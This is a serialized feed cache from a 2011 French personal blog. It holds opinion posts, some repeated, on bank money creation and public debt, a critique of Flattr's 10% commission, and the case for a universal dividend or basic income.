En France, la réforme constitutionnelle contre les déficits a pour but de parvenir à l’équilibre budgétaire (heureusement, elle ne devrait pas passer, l’UMP ne devrait pas réunir une majorité de 3/5e). Cela paraît pourtant presque naturel de ne pas dépenser plus que ce que nous avons. Mais à la lumière de l’injustice de la création monétaire, nous pouvons sans peine imaginer les impacts pour les finances de l’État et de la Sécurité sociale si le principe d’équilibre budgétaire avait une valeur constitutionnelle.

Au niveau européen, le « Pacte pour l’Euro » annonce une grande braderie sur les droits sociaux.

Commentaires sur le revenu de base

Je profite de ce billet pour vous livrer quelques commentaires sur le revenu de base et son financement.

Présentation

Le revenu de base désigne le versement d’un revenu inconditionnel à chaque citoyen pour satisfaire ses besoins primaires.

Ce concept peut paraître étrange, selon la manière dont on le présente. J’ai l’impression que, face à quelqu’un qui n’en a jamais entendu parler, si je dis :

Je suis favorable à un revenu de base, un revenu versé tous les mois permettant de vivre sans emploi rémunéré.

l’idée sera difficilement acceptée, tellement elle semble illogique lorsque nous avons intégré la fameuse « valeur travail » (ou plutôt « valeur emploi ») : pourquoi gagnerait-on de l’argent sans travailler ?

Par contre, si je dis :

Lorsqu’on augmente la masse monétaire (« on crée de l’argent »), comment cela doit-il se passer : on donne tout cet argent créé à quelques acteurs privés et rien aux autres, qui devront le gagner et l’emprunter avec intérêts à ceux qui en bénéficient, ou alors on distribue cette augmentation à tout le monde équitablement ?

je pense que la personne prendra plus facilement conscience qu’un revenu non-issu du travail est naturel, que ce n’est pas une aumône (demander de l’argent sans rien faire simplement parce qu’on en a envie), mais un dû, dont actuellement nous sommes privés injustement.

Financement

Je suis très étonné que certains proposent un financement du revenu de base sans remettre en cause la création monétaire privée.

J’ai peut-être manqué quelque chose, mais je trouve absurde d’uniquement redistribuer les richesses au sein de la population, si nous laissons en place l’énorme redistribution de toute la population vers les banques. Je ne dis pas que le dividende universel suffirait à financer un revenu de base (je n’en sais rien), mais financer un revenu de base sans dividende universel me paraît aberrant.

J’aime beaucoup l’analogie d’Étienne Chouard (vers 8mn30) :

C’est comme si on avait une inondation, un robinet qui coule à fond, il y a de l’eau partout. On est tous là avec des serpillères à éponger, et personne ne ferme le robinet.

Conclusion

Le système monétaire actuel est injuste. Il explique à mon avis une grande partie des problèmes de société (dette publique, inégalités, précarité, retraites…), et les personnalités politiques se disputent entre eux sur certaines conséquences sans jamais s’attaquer à la cause.

Je pense que les choix politiques sont trop importants pour être confiés à des politiciens.

";s:7:"dateiso";s:15:"20110510_222845";}s:15:"20110510_202845";a:7:{s:5:"title";s:22:"L'injustice monétaire";s:4:"link";s:50:"http://blog.rom1v.com/2011/05/linjustice-monetaire";s:4:"guid";s:50:"http://blog.rom1v.com/2011/05/linjustice-monetaire";s:7:"pubDate";s:25:"2011-05-10T20:28:45+02:00";s:11:"description";s:0:"";s:7:"content";s:11799:"

Dans un récent billet, je défendais l’idée d’un dividende universel. Je voudrais maintenant m’attarder sur le problème central à l’origine de cette proposition : le mécanisme actuel de la création monétaire.

EDIT 2016 : Bien que ce mécanisme de création monétaire par le crédit me dérange, je dois bien reconnaître que ma compréhension de la monnaie était (est) trop insuffisante pour soutenir les affirmations de ce billet. C’est plus compliqué que cela :

L’argent e(s)t la dette

On parle beaucoup d’une de ses conséquences (surtout en ce moment) : la dette publique.

Si nous n’avons aucune idée de son fonctionnement, nous pouvons penser que nous dépensons trop, et qu’il serait bon de songer à rembourser cette fichue dette. Sans explications, devant le compteur de la dette nationale défilant à toute allure en bas d’un écran de télévision pendant un JT, les téléspectateurs croient sans doute qu’une politique de rigueur est nécessaire, car après tout, il est bien naturel rembourser ses dettes. Quelle arnaque ! Si nous remboursions nos dettes, il n’y aurait plus d’argent : l’argent provient de la dette. Au seul bénéfice des banques.

Posez-vous la question : comment est-il possible que nous soyons tous (les ménages, les entreprises, les États) endettés en même temps ([certains jusqu’à la “faillite”][]), alors que nous créons toujours plus de richesses ? Envers qui sommes-nous tous endettés, et pourquoi ?

Création d’argent ex nihilo

Voyons comment tout cela fonctionne.

Pour plus de détails, voir ce billet.

Lorsqu’une banque accorde un crédit à un client (par exemple pour acheter une maison), elle ne lui prête pas l’argent qu’elle a : elle le crée (par une opération comptable). Le client va ensuite lui rembourser, sur plusieurs années, grâce à sa dure labeur, l’argent qu’elle lui a “prêté”, avec des intérêts. Au fur et à mesure du remboursement du principal, l’argent est “détruit” (de la même manière qu’il a été “créé”, c’est la raison pour laquelle il n’y aurait plus d’argent si nous remboursions nos dettes), mais il reste les intérêts, qui eux, sont au seul profit de la banque (qui sont des intérêts sur de l’argent qu’elle n’avait pas !). Il n’est d’ailleurs possible de lui payer qu’en récupérant, grâce à son travail, l’argent issu d’autres prêts effectués (indirectement), puisque (presque) tout l’argent vient de la dette. Déjà, l’injustice est flagrante : une banque privée crée de l’argent à son profit à partir du travail des autres, sans rien faire (à part manipuler une base de données).

Mais ce n’est pas tout, en créant de l’argent, la banque augmente la masse monétaire, donc dévalue la monnaie déjà en circulation. L’important, ce n’est pas la valeur que l’on possède en €, c’est la part que cette valeur par rapport à tout l’argent en circulation. Ainsi, augmenter la masse monétaire à son seul profit équivaut à “voler” une (toute petite) part de l’argent que possède chacun. La population, qui ne profite pas de cette création monétaire, doit donc travailler toujours plus pour “récupérer” cet argent et payer des intérêts toujours plus importants à ceux qui le leur prend.

Et globalement, cela pose un problème de remboursement : le total prêté à tous vaut P (le principal), et il faudra rembourser P+I (avec les intérêts). Sauf que lorsque tout l’argent provient du crédit, l’argent des intérêts n’existe pas, il serait impossible de les rembourser maintenant. Ce qui le permet, c’est simplement le décalage dans le temps du remboursement, rendu possible grâce à la croissance (c’est-à-dire lorsqu’il y a plus de nouveaux prêts effectués pour rembourser les anciens). Sans croissance ce système inique s’écroule. Il faut donc une production toujours plus importante uniquement pour “rembourser” (en fait, “donner” serait plus juste) les richesses créées aux banquiers. Ainsi, ceux qui créent les richesses sont endettés envers ceux qui créent l’argent.

Beaucoup s’étonnent des inégalités qui augmentent, et s’en prennent soit aux patrons, soit aux “assistés”. Mais la cause des inégalités, c’est le mécanisme de création monétaire. Il faut que la création monétaire soit distribuée à chacun.

La dette publique

Depuis la réforme de 1973 et son article 25, la France a l’interdiction d’emprunter son argent directement auprès de la banque centrale, sans intérêts. Elle doit donc l’emprunter, avec intérêts, aux banques privées, qui elles, ont le droit de “créer l’argent”.

En 1992, cette règle est inscrite au niveau européen dans l’article 104 du traité de Maastricht (qui est repris par l’article 123 du traité de Lisbonne en 2007) :

Article 104 :

  1. Il est interdit à la BCE et aux banques centrales des États membres, ci-après dénommées “banques centrales nationales”, d’accorder des découverts ou tout autre type de crédit aux institutions ou organes de la Communauté, aux administrations centrales, aux autorités régionales ou locales, aux autres autorités publiques, aux autres organismes ou entreprises publics des États membres; l’acquisition directe, auprès d’eux, par la BCE ou les banques centrales nationales, des instruments de leur dette est également interdite.
  2. Le paragraphe 1 ne s’applique pas aux établissements publics de crédit qui, dans le cadre de la mise à disposition de liquidités par les banques centrales, bénéficient, de la part des banques centrales nationales et de la BCE, du même traitement que les établissements privés de crédit.

Voilà d’où vient la dette qui augmente inexorablement : l’État est obligé d’emprunter son propre argent avec intérêts auprès d’acteurs privés.

Constatez l’évolution de la dette publique avec et sans intérêts depuis 1979 (source) :

dette-publique

Réformes d’austérité

Des réformes sont prévues pour lutter contre les déficits, sans remettre en cause ce système inique.

En France, la réforme constitutionnelle contre les déficits a pour but de parvenir à l’équilibre budgétaire (heureusement, elle ne devrait pas passer, l’UMP ne devrait pas réunir une majorité de 3/5e). Cela paraît pourtant presque naturel de ne pas dépenser plus que ce que nous avons. Mais à la lumière de l’injustice de la création monétaire, nous pouvons sans peine imaginer les impacts pour les finances de l’État et de la Sécurité sociale si le principe d’équilibre budgétaire avait une valeur constitutionnelle.

Au niveau européen, le “Pacte pour l’Euro” annonce une grande braderie sur les droits sociaux.

Commentaires sur le revenu de base

Je profite de ce billet pour vous livrer quelques commentaires sur le revenu de base et son financement.

Présentation

Le revenu de base désigne le versement d’un revenu inconditionnel à chaque citoyen pour satisfaire ses besoins primaires.

Ce concept peut paraître étrange, selon la manière dont on le présente. J’ai l’impression que, face à quelqu’un qui n’en a jamais entendu parler, si je dis :

Je suis favorable à un revenu de base, un revenu versé tous les mois permettant de vivre sans emploi rémunéré.

l’idée sera difficilement acceptée, tellement elle semble illogique lorsque nous avons intégré la fameuse “valeur travail” (ou plutôt “valeur emploi”) : pourquoi gagnerait-on de l’argent sans travailler ?

Par contre, si je dis :

Lorsqu’on augmente la masse monétaire (“on crée de l’argent”), comment cela doit-il se passer : on donne tout cet argent créé à quelques acteurs privés et rien aux autres, qui devront le gagner et l’emprunter avec intérêts à ceux qui en bénéficient, ou alors on distribue cette augmentation à tout le monde équitablement ?

je pense que la personne prendra plus facilement conscience qu’un revenu non-issu du travail est naturel, que ce n’est pas une aumône (demander de l’argent sans rien faire simplement parce qu’on en a envie), mais un dû, dont actuellement nous sommes privés injustement.

Financement

Je suis très étonné que certains proposent un financement du revenu de base sans remettre en cause la création monétaire privée.

J’ai peut-être manqué quelque chose, mais je trouve absurde d’uniquement redistribuer les richesses au sein de la population, si nous laissons en place l’énorme redistribution de toute la population vers les banques. Je ne dis pas que le dividende universel suffirait à financer un revenu de base (je n’en sais rien), mais financer un revenu de base sans dividende universel me paraît aberrant.

J’aime beaucoup l’analogie d’[Étienne Chouard][] (vers 8mn30) :

C’est comme si on avait une inondation, un robinet qui coule à fond, il y a de l’eau partout. On est tous là avec des serpillères à éponger, et personne ne ferme le robinet.

Conclusion

Le système monétaire actuel est injuste. Il explique à mon avis une grande partie des problèmes de société (dette publique, inégalités, précarité, retraites…), et les personnalités politiques se disputent entre eux sur certaines conséquences sans jamais s’attaquer à la cause.

Je pense que les choix politiques sont trop importants pour être confiés à des politiciens.

";s:7:"dateiso";s:15:"20110510_202845";}s:15:"20110408_140953";a:7:{s:5:"title";s:22:"Flattr est une arnaque";s:4:"link";s:53:"http://blog.rom1v.com/2011/04/flattr-est-une-arnaque/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2243";s:7:"pubDate";s:31:"Fri, 08 Apr 2011 12:09:53 +0000";s:11:"description";s:386:"Principe Flattr est un système de micro-paiement permettant de rémunérer les auteurs des contenus sur Internet. Le principe est simple : chaque mois, l’utilisateur choisit la somme qu’il va donner (avec un minimum de 2€). Lorsqu’il tombe sur un site qui supporte Flattr, il a la possibilité de cliquer sur un bouton indiquant qu’il apprécie son [...]";s:7:"content";s:8915:"

Flattr

Principe

Flattr est un système de micro-paiement permettant de rémunérer les auteurs des contenus sur Internet. Le principe est simple : chaque mois, l’utilisateur choisit la somme qu’il va donner (avec un minimum de 2€). Lorsqu’il tombe sur un site qui supporte Flattr, il a la possibilité de cliquer sur un bouton indiquant qu’il apprécie son contenu. À la fin du mois, la somme qu’il a versée est répartie entre les auteurs des différents contenus qu’il a appréciés (moins la commission que prend Flattr, 10% des versements effectués).

Ce principe est très séduisant, car avant cela il n’était pas possible facilement de donner de petites sommes à plein d’auteurs.

Mais malheureusement, il y a une arnaque dans le système.

10% de commission

Flattr prélève 10% des sommes versées. Dit comme ça, on a l’impression que ce n’est pas grand chose : si je mets 2€, 0,20€ leur seront destinés, et 1,80€ seront pour les auteurs, rien de très choquant à première vue. Sauf que globalement, cela leur permet juste de récupérer quasiment tout l’argent injecté.

Je vais tenter d’expliquer pourquoi.

De l’argent disparaît chaque mois

Afin de bien discerner comment se comporte l’argent injecté (vers où il va surtout), décidons pour les besoins de la démonstration qu’aucun argent neuf n’est rajouté chaque mois. Le premier mois, chacun verse une somme quelconque (pour un total qu’on appellera M). Les mois suivants, ils versent une somme de manière à ce qu’il y ait autant d’argent qui rentre que d’argent qui est sorti du mois précédent. Par exemple, chacun remet ce qu’il a gagné (si j’ai gagné 7€ je remets les 7€, si j’ai gagné 12€ je remets les 12€). Comme Flattr prend 10% sur les versements, nous pouvons déterminer à coup sûr le montant total d’un mois donné : 0,9×(montant du mois précédent).

Sur une période de m mois, la part destinée à Flattr est donc de (1 – 0,9m) × M.

Regardons donc quelle part de ce montant Flattr s’accapare sur une période plus longue.
Sur 1 an, (1 – 0,912) × M = 0,7176 × M, soit 71,76% de la somme totale !
Sur 5 ans, (1 – 0,960) × M = 0,9982 × M, soit 99,82%. Autrement dit, tout est pour Flattr.

S’il y a 20000 inscrits qui versent chacun 10€, M = 20000 × 10 = 200000€. Sur 1 an, 143514,09€ seront destinés à Flattr. Sur 5 ans, pas moins de 199640,60€, le reste circulant entre les membres.

Imaginez que votre compte en banque soit prélevé chaque mois 10% de son montant pour frais de gestion. Vous avez 5000€, vous êtes prélevés de 500€. Le mois suivant, plus que 450€… Au bout d’un an, il ne va pas rester grand chose pour échanger avec les autres…

Nous avons simplifié le problème en n’injectant pas d’argent neuf. Ou plutôt nous avons supprimé ce qui cachait cette incroyable distribution. Maintenant plaçons-nous dans le cas « réel » et injectons cet argent neuf chaque mois, de manière à ce que le montant total reste égal à M = 200000€ (par exemple, les 20000 membres versent 10€ chaque mois). Par rapport à l’exemple précédent, les membres injectent donc 20000€ d’argent neuf dans le système (en plus des 180000€ restants du mois précédent). Mais cet « argent neuf », il va évidemment subir le même traitement que dans la situation précédente, avec un mois de décalage, et être principalement redistribué vers Flattr au bout de quelques mois. C’est donc encore plus d’argent pour Flattr.

10%… voire 100%

Sur une longue période, nous avons vu que Flattr rafflait une part essentielle de tous les versements. Mais regardons ce qui se passe sur un seul mois, en pourcentage. Nous avons l’impression que la commission est de 10%, mais en fait elle est beaucoup plus importante, car les échanges entre les membres se compensent, au moins en partie.

Pour le comprendre, prenons un exemple concret, avec 3 membres, qui versent chacun 10€ :

Combien d’argent a été échangé en tout entre les membres ?

3€ ont donc été échangés. Et pour ces 3€ d’échange, 3€ ont été donnés à Flattr, soit 50% des échanges totaux !

C’est même pire que cela, car il faut prendre en compte la transitivité. Ici, C transfert 1€ vers A, et A transfert 2€ vers B, on en a conclu qu’il y avait 3€ échangés. Mais l’euro qui transite de C vers A est « contenu » dans les 2€ qui transitent de A vers B. Globalement, tout se passe comme si A et C transféraient chacun 1€ vers B. Soit un total de 2€ échangés. La part de Flattr dans la somme des échangés est donc de 60% dans ce cas-là. Mais il ne faut pas s’arrêter là, il faut aussi intégrer la transitivité des transferts d’argent vers Flattr : A et C transfèrent chacun 1€ vers B (et 1€ vers Flattr), et B transfert 1€ vers Flattr. La situation est donc la même que si A et C transféraient chacun 0,50€ vers B et 1,50€ vers Flattr. Soit 75% des transferts pour Flattr (cette part correspond à 100% moins le ratio du montant gagné par les membres ayant un gain par rapport au montant perdu par les membres ayant une perte).

Le résultat après le premier mois est donc de :

Donc exactement comme si A et C avaient chacun donné 0,50€ à B et 1,50€ à Flattr.

Dans le cas limite, si tous les dons sont parfaitement répartis (chacun donne autant qu’il reçoit, moins les 10%), alors tout se passe comme s’il n’y avait aucun échange entre les membres. Chacun a mis 10€, et reçoit 9€. Résultat des courses : le seul échange d’argent qui s’opère est le transfert d’1€ de chaque membre vers Flattr, soit 100% des échanges.

La somme récupérée en valeur absolue par Flattr chaque mois est connue à l’avance (10% de M, ce qui est énorme, comme nous l’avons vu en quelques mois ils récupèrent quasiment tout). En valeur relative par rapport aux échanges effectués, en fonction de l’équilibre des dons, ce transfert d’argent des membres vers Flattr représente entre 10% et 100% des échanges. Ce système coûte donc extrêmement cher par rapport aux échanges qu’il permet.

Conclusion

Le concept de base est intéressant et séduisant, mais certaines arnaques sont bien dissimulées. Il vaut mieux en avoir conscience avant de s’inscrire à un système injuste.
Pour corriger ces problèmes, Flattr pourrait être rémunéré de la même manière que ses membres : par les micro-dons.

Il y a également d’autres problèmes que je n’ai pas évoqués ici.

Je réponds aux deux principales critiques à ce billet en commentaire.

";s:7:"dateiso";s:15:"20110408_140953";}s:15:"20110408_120953";a:7:{s:5:"title";s:22:"Flattr est une arnaque";s:4:"link";s:52:"http://blog.rom1v.com/2011/04/flattr-est-une-arnaque";s:4:"guid";s:52:"http://blog.rom1v.com/2011/04/flattr-est-une-arnaque";s:7:"pubDate";s:25:"2011-04-08T12:09:53+02:00";s:11:"description";s:0:"";s:7:"content";s:8228:"

flattr

Principe

Flattr est un système de micro-paiement permettant de rémunérer les auteurs des contenus sur Internet. Le principe est simple : chaque mois, l’utilisateur choisit la somme qu’il va donner (avec un minimum de 2€). Lorsqu’il tombe sur un site qui supporte Flattr, il a la possibilité de cliquer sur un bouton indiquant qu’il apprécie son contenu. À la fin du mois, la somme qu’il a versée est répartie entre les auteurs des différents contenus qu’il a appréciés (moins la commission que prend Flattr, 10% des versements effectués).

Ce principe est très séduisant, car avant cela il n’était pas possible facilement de donner de petites sommes à plein d’auteurs.

Mais malheureusement, il y a une arnaque dans le système.

10% de commission

Flattr prélève 10% des sommes versées. Dit comme ça, on a l’impression que ce n’est pas grand chose : si je mets 2€, 0,20€ leur seront destinés, et 1,80€ seront pour les auteurs, rien de très choquant à première vue. Sauf que globalement, cela leur permet juste de récupérer quasiment tout l’argent injecté.

Je vais tenter d’expliquer pourquoi.

De l’argent disparaît chaque mois

Afin de bien discerner comment se comporte l’argent injecté (vers où il va surtout), décidons pour les besoins de la démonstration qu’aucun argent neuf n’est rajouté chaque mois. Le premier mois, chacun verse une somme quelconque (pour un total qu’on appellera M). Les mois suivants, ils versent une somme de manière à ce qu’il y ait autant d’argent qui rentre que d’argent qui est sorti du mois précédent. Par exemple, chacun remet ce qu’il a gagné (si j’ai gagné 7€ je remets les 7€, si j’ai gagné 12€ je remets les 12€). Comme Flattr prend 10% sur les versements, nous pouvons déterminer à coup sûr le montant total d’un mois donné : 0,9×(montant du mois précédent).

Sur une période de m mois, la part destinée à Flattr est donc de (1 - 0,9m) × M.

Regardons donc quelle part de ce montant Flattr s’accapare sur une période plus longue.

Sur 1 an, (1 - 0,912) × M = 0,7176 × M, soit 71,76% de la somme totale !

Sur 5 ans, (1 - 0,960) × M = 0,9982 × M, soit 99,82%. Autrement dit, tout est pour Flattr.

S’il y a 20000 inscrits qui versent chacun 10€, M = 20000 × 10 = 200000€. Sur 1 an, 143514,09€ seront destinés à Flattr. Sur 5 ans, pas moins de 199640,60€, le reste circulant entre les membres.

Imaginez que votre compte en banque soit prélevé chaque mois 10% de son montant pour frais de gestion. Vous avez 5000€, vous êtes prélevés de 500€. Le mois suivant, plus que 450€… Au bout d’un an, il ne va pas rester grand chose pour échanger avec les autres…

Nous avons simplifié le problème en n’injectant pas d’argent neuf. Ou plutôt nous avons supprimé ce qui cachait cette incroyable distribution. Maintenant plaçons-nous dans le cas “réel” et injectons cet argent neuf chaque mois, de manière à ce que le montant total reste égal à M = 200000€ (par exemple, les 20000 membres versent 10€ chaque mois). Par rapport à l’exemple précédent, les membres injectent donc 20000€ d’argent neuf dans le système (en plus des 180000€ restants du mois précédent). Mais cet “argent neuf”, il va évidemment subir le même traitement que dans la situation précédente, avec un mois de décalage, et être principalement redistribué vers Flattr au bout de quelques mois. C’est donc encore plus d’argent pour Flattr.

10%… voire 100%

Sur une longue période, nous avons vu que Flattr rafflait une part essentielle de tous les versements. Mais regardons ce qui se passe sur un seul mois, en pourcentage. Nous avons l’impression que la commission est de 10%, mais en fait elle est beaucoup plus importante, car les échanges entre les membres se compensent, au moins en partie.

Pour le comprendre, prenons un exemple concret, avec 3 membres, qui versent chacun 10€ :

graphe-flattr

Combien d’argent a été échangé en tout entre les membres ?

3€ ont donc été échangés. Et pour ces 3€ d’échange, 3€ ont été donnés à Flattr, soit 50% des échanges totaux !

C’est même pire que cela, car il faut prendre en compte la transitivité. Ici, C transfert 1€ vers A, et A transfert 2€ vers B, on en a conclu qu’il y avait 3€ échangés. Mais l’euro qui transite de C vers A est “contenu” dans les 2€ qui transitent de A vers B. Globalement, tout se passe comme si A et C transféraient chacun 1€ vers B. Soit un total de 2€ échangés. La part de Flattr dans la somme des échangés est donc de 60% dans ce cas-là. Mais il ne faut pas s’arrêter là, il faut aussi intégrer la transitivité des transferts d’argent vers Flattr : A et C transfèrent chacun 1€ vers B (et 1€ vers Flattr), et B transfert 1€ vers Flattr. La situation est donc la même que si A et C transféraient chacun 0,50€ vers B et 1,50€ vers Flattr. Soit 75% des transferts pour Flattr (cette part correspond à 100% moins le ratio du montant gagné par les membres ayant un gain par rapport au montant perdu par les membres ayant une perte).

Le résultat après le premier mois est donc de :

Donc exactement comme si A et C avaient chacun donné 0,50€ à B et 1,50€ à Flattr.

Dans le cas limite, si tous les dons sont parfaitement répartis (chacun donne autant qu’il reçoit, moins les 10%), alors tout se passe comme s’il n’y avait aucun échange entre les membres. Chacun a mis 10€, et reçoit 9€. Résultat des courses : le seul échange d’argent qui s’opère est le transfert d’1€ de chaque membre vers Flattr, soit 100% des échanges.

La somme récupérée en valeur absolue par Flattr chaque mois est connue à l’avance (10% de M, ce qui est énorme, comme nous l’avons vu en quelques mois ils récupèrent quasiment tout). En valeur relative par rapport aux échanges effectués, en fonction de l’équilibre des dons, ce transfert d’argent des membres vers Flattr représente entre 10% et 100% des échanges. Ce système coûte donc extrêmement cher par rapport aux échanges qu’il permet.

Conclusion

Le concept de base est intéressant et séduisant, mais certaines arnaques sont bien dissimulées. Il vaut mieux en avoir conscience avant de s’inscrire à un système injuste. Pour corriger ces problèmes, Flattr pourrait être rémunéré de la même manière que ses membres : par les micro-dons.

Il y a également d’autres problèmes que je n’ai pas évoqués ici.

EDIT : Je réponds aux deux principales critiques à ce billet en commentaire.

";s:7:"dateiso";s:15:"20110408_120953";}s:15:"20110217_172639";a:7:{s:5:"title";s:50:"Dividende Universel : un enjeu majeur de société";s:4:"link";s:77:"http://blog.rom1v.com/2011/02/dividende-universel-un-enjeu-majeur-de-societe/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2123";s:7:"pubDate";s:31:"Thu, 17 Feb 2011 16:26:39 +0000";s:11:"description";s:387:"Dans un précédent billet, intitulé « Piratage ou usage commun ? », je vous avais livré mon analyse sur ce qui est appelé, aujourd’hui encore, piratage. Je concluais par la nécessité de décorréler le financement des œuvres et la vente unitaire de leurs copies. Je commence à me rendre compte que la guerre contre le partage n’est qu’une [...]";s:7:"content";s:19300:"


Dans un précédent billet, intitulé « Piratage ou usage commun ? », je vous avais livré mon analyse sur ce qui est appelé, aujourd’hui encore, piratage. Je concluais par la nécessité de décorréler le financement des œuvres et la vente unitaire de leurs copies.

Je commence à me rendre compte que la guerre contre le partage n’est qu’une manifestation d’une problématique beaucoup plus générale, qui touche la société et l’économie dans son ensemble. Voici quelques éléments de réflexion.

Paradoxes

Satisfaction des besoins

Considérons que la population a un ensemble de besoins à satisfaire. La satisfaction d’une partie de ces besoins nécessite du travail. Par exemple, le travail des industries alimentaires donne la possibilité à la population de se nourrir (sans récolter elle-même sa nourriture), celui des industries vestimentaires lui permet de se vêtir (sans fabriquer elle-même ses vêtements), la Poste lui permet d’envoyer des colis à l’autre bout du monde sans se déplacer, etc.

Par ailleurs, la population active peut effectuer une quantité de travail limitée (le nombre de personnes multiplié par le nombre d’heures). On peut distinguer 3 cas.

Dans le premier cas, il y a trop de besoins à satisfaire, la population active ne peut réaliser qu’une partie de tout ce travail. Ou plutôt, elle va le réaliser sur un période plus importante. Dans cette hypothèse, c’est le plein emploi, la situation économique est merveilleuse durant de nombreuses années, affichant une croissance impressionnante, comme par exemple durant les Trente Glorieuses.

Dans le second cas, la population active peut tout juste effectuer le travail nécessaire. Tous les besoins sont satisfaits, et tout le monde trouve du travail. La situation économique est bonne, la croissance est importante.

Dans le troisième cas, la population active peut effectuer plus de travail que nécessaire. Les besoins sont largement satisfaits avec moins de travail. Dans le système actuel, c’est la crise. Cela signifie qu’il n’y a pas assez de travail pour tout le monde, donc un taux de pauvreté important.

Le paradoxe est criant : plus nous parvenons à satisfaire nos besoins, plus la pauvreté augmente.

Valeur ou abondance

De ce paradoxe en découle un second.

Plus nous rendons nos outils de production efficaces, plus nous sommes capables de produire en abondance, avec moins de travail. Mais alors moins ce que nous produisons n’a de valeur marchande (puisque cette production est rendue abondante). Si la quantité vendue ne compense pas la baisse des prix unitaires, la seule manière de conserver une valeur marchande est alors de restreindre artificiellement le service rendu par cette production, contre l’intérêt général, comme le décrivait très bien Frédéric Bastiat dans le premier chapitre de « Sophismes Économiques » :

On remarque qu’un homme s’enrichit en proportion de ce qu’il tire un meilleur parti de son travail, c’est-à-dire de ce qu’il vend à plus haut prix. Il vend à plus haut prix à proportion de la rareté, de la disette du genre de produit qui fait l’objet de son industrie. On en conclut que, quant à lui du moins, la disette l’enrichit. Appliquant successivement ce raisonnement à tous les travailleurs, on en déduit la théorie de la disette. De là on passe à l’application, et, afin de favoriser tous les travailleurs, on provoque artificiellement la cherté, la disette de toutes choses par la prohibition, la restriction, la suppression des machines et autres moyens analogues.

Il en est de même de l’abondance. On observe que, quand un produit abonde, il se vend à bas prix : donc le producteur gagne moins. Si tous les producteurs sont dans ce cas, ils sont tous misérables: donc c’est l’abondance qui ruine la société. Et comme toute conviction cherche à se traduire en fait, on voit, dans beaucoup de pays, les lois des hommes lutter contre l’abondance des choses.

Au passage, nous reconnaissons ici le cas particulier du partage de fichiers, avec les restrictions numériques de lecture et la tentative de prohibition de l’utilisation d’outils de partage. La guerre contre le partage n’est qu’une lutte contre l’abondance, qui vise à restaurer la rareté afin de satisfaire une demande solvable.

Nous pouvons résumer ces deux paradoxes ainsi : plus nous rendons efficace notre production, moins ce que nous produisons n’a de valeur marchande (à cause de l’abondance) et plus la pauvreté augmente (à cause du manque de travail).

Une fois passé le cap d’une production abondante nécessitant peu de travail, on s’aperçoit que les politiques de recherche du plein emploi et de restriction de l’abondance (dans le but de conserver une valeur marchande) sont une lutte contre l’efficacité et l’intérêt général.

Conséquences

Supposons que l’on parvienne à une efficacité de production telle que l’emploi de 5% de la population active suffise à satisfaire les besoins de tous : nous serions dans une société qui n’a jamais été aussi productive et riche. Pourtant, nous aurions un taux de chômage de 95%. Si les revenus étaient exclusivement issus du travail rémunéré, une écrasante majorité de la population n’aurait aucun revenu. Restaurer une situation de plein emploi, impossible en pratique, serait très critiquable en théorie : il s’agirait d’imposer à de nombreuses personnes l’occupation d’un emploi utile ni pour elles, ni pour la société.

Aujourd’hui, nous ne sommes pas dans une situation si extrême (ça pourrait ne pas tarder, vraiment), mais force est de constater qu’en raison de l’informatisation et de l’automatisation de la production, le plein emploi ne peut plus être atteint. Devons-nous le regretter ? Je ne pense pas. Je pense même que c’est une chance : cela signifie que nous produisons plus efficacement des richesses.

Pour s’en rendre compte, il suffit de comprendre que le travail humain n’est pas un but, mais un moyen : il permet de surmonter les obstacles à la satisfaction des besoins. Regretter la trop grande facilité avec laquelle les obstacles sont franchis (car alors il y a moins de travail pour y parvenir), c’est vouloir combattre le but pour préserver le moyen, comme l’explique encore Frédéric Bastiat d’une manière extrêmement limpide dans le deuxième chapitre de « Sophismes Économiques ».

Dans la situation actuelle, il semble donc inévitable de rompre le lien strict entre emploi et revenu. En effet, la monnaie correspondant aux richesses créées par les machines doit être, d’une manière ou d’une autre, distribuée à la population. Sans cela, nous nous trouvons dans une situation aberrante où il y a abondance de richesses réelles et pénurie de monnaie pour y accéder, et nous ne pouvons faire autrement que d’accepter avec fatalité les conséquences négatives de l’amélioration de la société (sic).

C’est ce que propose le Dividende Universel.

Dividende universel

Le Dividende Universel, pour rappel, désigne le versement inconditionnel d’un revenu à chaque citoyen (à titre indicatif, il est estimé entre 300 et 400€ par mois en Europe, mais varie beaucoup selon les propositions), de la naissance à la mort, qui se cumule aux autres revenus (issus de l’emploi).

Si c’est la première fois que vous entendez parler de ce concept, vous êtes sans doute sceptique, comme je l’ai été quand je l’ai découvert : cela semble utopique, irréalisable. Et pourtant…

J’ai introduit le sujet par la nécessité de dissocier l’emploi et le revenu, suite à la raréfaction de l’emploi (qui, contrairement aux idées reçues, est une bonne chose). Mais d’autres arguments, que je trouve encore plus pertinents, confortent les fondements de l’instauration d’un Dividende Universel.

Création monétaire

Le plus évident est l’injustice du fonctionnement actuel de la création monétaire (je détaille dans un autre billet), un des bugs fondamentaux de notre société : des acteurs privés (les banques) créent de l’argent à partir de rien, par le mécanisme du prêt. C’est la magie de « l’argent dette ». En effet, lorsqu’une banque vous accorde un prêt pour acheter une maison par exemple, elle vous prête de l’argent qu’elle n’a pas ! La population se fait alors arnaquer plusieurs fois :

Thierry Crouzet résume cette situation en une phrase : « Pendant que vous avez travaillé, ils ont fabriqué l’argent pour vous payer ».

Le mécanisme est très bien expliqué par les vidéos pédagogiques de Paul Grignon (même si la forme est critiquable sur certains aspects) : L’Argent Dette, puis L’Argent Dette 2. La première vidéo a d’ailleurs fait l’objet d’une émission d’Arrêt sur Images.

Pour mettre fin à cette injustice intolérable, le Dividende Universel propose donc simplement que l’augmentation de la masse monétaire soit distribuée équitablement entre tous les citoyens, plutôt qu’elle ne soit réservée qu’à une poignée d’acteurs privés privilégiés au détriment de tout le reste de la population. C’est le point fondamental de cette proposition. Tous les autres arguments ne sont que des interprétations de la signification de cette nouvelle forme de distribution ou des analyses de ses conséquences.

Création libre et non marchande

Une part importante du travail effectué par la population est non marchand. Par exemple, dans le domaine qui m’intéresse, on peut citer la création de logiciels libres, qui sont à la base du fonctionnement d’Internet, ou encore la participation à Wikipedia, qui permet un partage de connaissance inégalé jusqu’à présent. Nous ne pouvons pas nier que ces créations ont une valeur immense pour la société (sans compter qu’elles bénéficient également au secteur marchand). Une part essentielle de cette valeur réside justement dans leur adoption par le plus grand nombre, d’autant plus rapidement qu’elles sont accessibles à tous, sans restrictions.

Le Dividende Universel peut être vu comme une valorisation de ces activités non marchandes, qui sont bénéfiques pour la société.

Propriété de la zone Euro

